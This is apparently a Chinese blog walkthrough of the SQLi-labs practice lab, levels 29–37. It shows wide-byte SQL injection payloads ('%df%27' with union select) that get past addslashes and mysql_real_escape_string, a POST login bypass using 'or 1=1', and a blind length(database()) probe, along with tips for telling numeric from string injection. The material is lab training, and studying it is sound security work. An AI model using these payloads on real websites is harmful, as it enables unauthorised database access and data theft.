当前位置:Gxlcms > 数据库问题 > SQLi-labs Page-2_Less-29---Less-37

SQLi-labs Page-2_Less-29---Less-37

时间:2021-07-01 10:21:17 帮助过:25人阅读

check_addslashes($string) { $string = preg_replace(‘/‘. preg_quote(‘\\‘) .‘/‘, "\\\\\\", $string); //escape any backslash $string = preg_replace(‘/\‘/i‘, ‘\\\‘‘, $string); //escape single quote with a backslash $string = preg_replace(‘/\"/‘, "\\\"", $string); //escape double quote with a backslash return $string; }

考虑宽字节注入,让斜杠 失效

?id=1%df‘    //报错

?id=-1%bb%27 union select 1,2,3%23

Less-33

绕过AddSlashes()

 ?id=0%df%27union%20select%201,2,3%23   //宽字节绕过  找到显示位

Less-34

uname=%df‘or 1 limit 2,1%23&passwd=111&submit=Submit

技术图片

Less-35

 参考链接:https://www.jianshu.com/p/f965424fe9a1

 这关很调皮,数字型查询根本不需要在乎是否被addslashes()
一切回到了第一关,最初始的注入方式。
但还是有存在的必要的,能启发我们思考:当我们面对一个一无所知的网站时应怎么分析后台。

而没有错误回显时,我们又应该怎么判断是数字型注入还是引号被过滤呢?

在能分辨出正确回显和错误回显(有固定字符串)时,id=1正确回显,尝试id=1‘id=1"

  • 若两者都正确回显:很可能是被过滤引号
  • 若两者都错误回显:很可能是数字型查询
  • 若一正确一错误:基本可确定是字符型查询

?id=1 and length(database())=8   //盲注

Less-36

绕过:mysql_real_escape_string($string)

技术图片

?id=0%df%27union%20select%201,2,3%23   //宽字节注入  找到显示位

Less-37

post :

admin%df‘or 1=1 limit 3,1%23

 技术图片

Done!

SQLi-labs Page-2_Less-29---Less-37

标签:用法   webp   aof   html   length   images   ges   技术   get   

人气教程排行